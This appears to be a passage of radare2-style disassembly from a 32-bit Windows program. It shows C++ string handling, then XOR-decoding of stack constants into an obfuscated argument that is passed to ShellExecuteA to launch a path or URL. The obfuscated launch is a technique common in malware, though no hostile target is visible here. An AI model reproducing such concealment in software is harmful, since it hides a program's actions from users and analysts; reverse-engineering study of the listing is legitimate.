mov dword [ebp - 0x608], eax
lea eax, [ebp - 0x678]
mov dword [ebp - 0x604], ecx
lea ecx, [ebp - 0x7e0]
vpxor ymm0, ymm0, ymmword [ebp - 0x620]
vmovdqa ymmword [ebp - 0x3a0], ymm0
push eax
vzeroupper
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x2f0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x7c8]
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push dword [ebp - 0x78]
cmovae ecx, dword [ebp - 0x88]
push ecx
mov ecx, eax
call fcn.004ae3b0
mov esi, dword [ebp - 0x2c]
lea edx, [ebp - 0x550]
mov dword [ebp - 0x540], 0
lea ecx, [ebp - 0x7b0]
mov dword [ebp - 0x53c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x550], xmm0
or esi, 0x400
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x550], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x540], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x200]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
push dword [ebp - 0x90]
cmovae ecx, dword [ebp - 0xa0]
push ecx
mov ecx, eax
call fcn.004ae3b0
mov dword [ebp - 0x1c8], 0
lea edx, [ebp - 0x1d8]
mov dword [ebp - 0x1c4], 0
lea ecx, [ebp - 0x6c0]
xorps xmm0, xmm0
or esi, 0x800
movups xmmword [ebp - 0x1d8], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1d8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x3c0]
push eax
mov dword [ebp - 0x2c], esi
call fcn.004b01e0
add esp, 4
mov byte [ebp - 4], 0x32
and esi, 0xfffff7ff
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x33
mov ecx, dword [ebp - 0x1c4]
cmp ecx, 0x10
jb 0x42e859
mov edx, dword [ebp - 0x1d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42e84f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eabb
push ecx
push edx
call fcn.005083b1
add esp, 8
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x7b0]
call fcn.0040fe10
and esi, 0xfffffbff
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x550]
call fcn.0040fe10
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x7c8]
call fcn.0040fe10
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x7e0]
call fcn.0040fe10
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x678]
call fcn.0040fe10
cmp dword [ebp - 0x6ac], 0x10
lea ecx, [ebp - 0x6c0]
cmovae ecx, dword [ebp - 0x6c0]
call fcn.0042c180
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x6c0]
call fcn.0040fe10
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x6d8]
call fcn.0040fe10
sub esp, 0x18
lea eax, [ebp - 0x88]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x39
mov byte [ebp - 4], 0x1d
call fcn.0041a120
add esp, 0x18
test al, al
je 0x42e9e8
cmp dword [ebp - 0x74], 0x10
lea edx, [ebp - 0x88]
push 1
cmovae edx, dword [ebp - 0x88]
mov dword [ebp - 0x28], 0x6a8aa55a
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
push 0
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x28], 0x76184a46
push 0
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3cc], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x210]
mov dword [ebp - 0x3c8], eax
lea eax, [ebp - 0x210]
push edx
mov dword [ebp - 0x3c4], ecx
pxor xmm1, xmmword [ebp - 0x3d0]
push eax
push 0
movaps xmmword [ebp - 0x210], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x88]
call fcn.0040fe10
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x38]
cmp ecx, 0x10
jb 0x42ea2f
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ea25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42eac0
push ecx
push edx
call fcn.005083b1
add esp, 8
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0xf
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1f0]
call fcn.0040fe10
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xa0]
call fcn.0040fe10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xe8]
call fcn.0040fe10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x100]
call fcn.0040fe10
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040f760
call fcn.005238a0
call fcn.005238a0
call fcn.0040f760
call fcn.005238a0
call fcn.005238a0
call fcn.0040f760
call fcn.005238a0
call fcn.005238a0
call fcn.005238a0
int3